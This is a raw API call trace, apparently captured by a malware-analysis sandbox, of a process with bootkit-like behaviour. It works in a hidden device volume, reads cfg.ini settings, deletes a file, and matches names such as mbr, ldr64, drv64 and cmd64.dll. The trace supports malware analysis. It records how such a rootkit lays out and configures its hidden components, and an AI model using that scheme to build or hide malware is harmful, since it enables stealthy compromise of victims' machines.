KeWaitForMutexObject () returned 0x0 [0119.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.061] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.061] IdePortDispatch () returned 0x103 [0119.062] KeWaitForMutexObject () returned 0x0 [0119.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.062] KeLeaveCriticalRegion () [0119.062] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.062] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.062] KeEnterCriticalRegion () [0119.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.062] KeLeaveCriticalRegion () [0119.062] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.063] KeEnterCriticalRegion () [0119.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.063] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.063] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.063] KeLeaveCriticalRegion () [0119.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.063] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.063] KeEnterCriticalRegion () [0119.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.063] ExFreePoolWithTag (P=0xfffffa8003bbf100, Tag=0x0) [0119.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.063] KeLeaveCriticalRegion () [0119.063] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.063] ReleaseMutex (hMutex=0xf0) returned 1 [0119.063] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.063] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.063] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.063] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.063] KeEnterCriticalRegion () [0119.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.063] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.063] IdePortDispatch () returned 0x103 [0119.064] KeWaitForMutexObject () returned 0x0 [0119.064] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.064] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.064] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.064] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.064] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.064] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.064] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.064] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.064] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.064] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.064] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.064] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.064] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.064] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.064] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.065] KeLeaveCriticalRegion () [0119.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.065] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.065] KeEnterCriticalRegion () [0119.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.065] IdePortDispatch () returned 0x103 [0119.065] KeWaitForMutexObject () returned 0x0 [0119.065] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.065] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.065] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.065] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.065] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.065] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.065] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.065] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.065] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.065] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.065] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.065] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.065] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.065] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.065] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.066] KeLeaveCriticalRegion () [0119.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.066] ReleaseMutex (hMutex=0x100) returned 1 [0119.066] Sleep (dwMilliseconds=0x2bf20) [0119.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a2b7730, dwHighDateTime=0x1d24fa4)) [0119.074] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.074] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.074] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.075] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.075] KeEnterCriticalRegion () [0119.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.075] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.075] IdePortDispatch () returned 0x103 [0119.075] KeWaitForMutexObject () returned 0x0 [0119.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.075] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.075] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.075] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.075] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.075] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca320 [0119.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.075] KeLeaveCriticalRegion () [0119.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.075] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.075] KeEnterCriticalRegion () [0119.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.075] KeLeaveCriticalRegion () [0119.075] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.076] KeEnterCriticalRegion () [0119.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.076] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.076] IdePortDispatch () returned 0x103 [0119.076] KeWaitForMutexObject () returned 0x0 [0119.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.076] KeLeaveCriticalRegion () [0119.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.076] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.076] KeEnterCriticalRegion () [0119.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c62000 [0119.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.076] IdePortDispatch () returned 0x103 [0119.077] KeWaitForMutexObject () returned 0x0 [0119.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.077] IdePortDispatch () returned 0x103 [0119.077] KeWaitForMutexObject () returned 0x0 [0119.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.077] KeLeaveCriticalRegion () [0119.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.078] KeEnterCriticalRegion () [0119.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] KeLeaveCriticalRegion () [0119.078] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.078] KeEnterCriticalRegion () [0119.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] KeLeaveCriticalRegion () [0119.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.078] KeEnterCriticalRegion () [0119.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] ExFreePoolWithTag (P=0xfffffa80039ca320, Tag=0x0) [0119.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.078] KeLeaveCriticalRegion () [0119.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.078] ReleaseMutex (hMutex=0xf0) returned 1 [0119.078] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.078] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.078] KeEnterCriticalRegion () [0119.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.079] IdePortDispatch () returned 0x103 [0119.079] KeWaitForMutexObject () returned 0x0 [0119.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.079] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.079] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.079] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.079] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.079] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf2f0 [0119.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.079] KeLeaveCriticalRegion () [0119.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.079] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.079] KeEnterCriticalRegion () [0119.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.079] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.079] KeLeaveCriticalRegion () [0119.079] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.079] KeEnterCriticalRegion () [0119.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.080] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.080] IdePortDispatch () returned 0x103 [0119.080] KeWaitForMutexObject () returned 0x0 [0119.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.080] KeLeaveCriticalRegion () [0119.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.080] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.080] KeEnterCriticalRegion () [0119.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c63000 [0119.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.081] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.081] IdePortDispatch () returned 0x103 [0119.081] KeWaitForMutexObject () returned 0x0 [0119.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.081] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.081] IdePortDispatch () returned 0x103 [0119.081] KeWaitForMutexObject () returned 0x0 [0119.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.081] KeLeaveCriticalRegion () [0119.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.082] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.082] KeEnterCriticalRegion () [0119.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.082] KeLeaveCriticalRegion () [0119.082] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.082] KeEnterCriticalRegion () [0119.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.082] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.082] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.082] KeLeaveCriticalRegion () [0119.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.083] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.083] KeEnterCriticalRegion () [0119.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.083] ExFreePoolWithTag (P=0xfffffa8003bbf2f0, Tag=0x0) [0119.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.083] KeLeaveCriticalRegion () [0119.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.083] ReleaseMutex (hMutex=0xf0) returned 1 [0119.083] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.083] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.083] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.083] KeEnterCriticalRegion () [0119.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.083] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.083] IdePortDispatch () returned 0x103 [0119.083] KeWaitForMutexObject () returned 0x0 [0119.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.083] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.083] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.083] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.083] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.083] 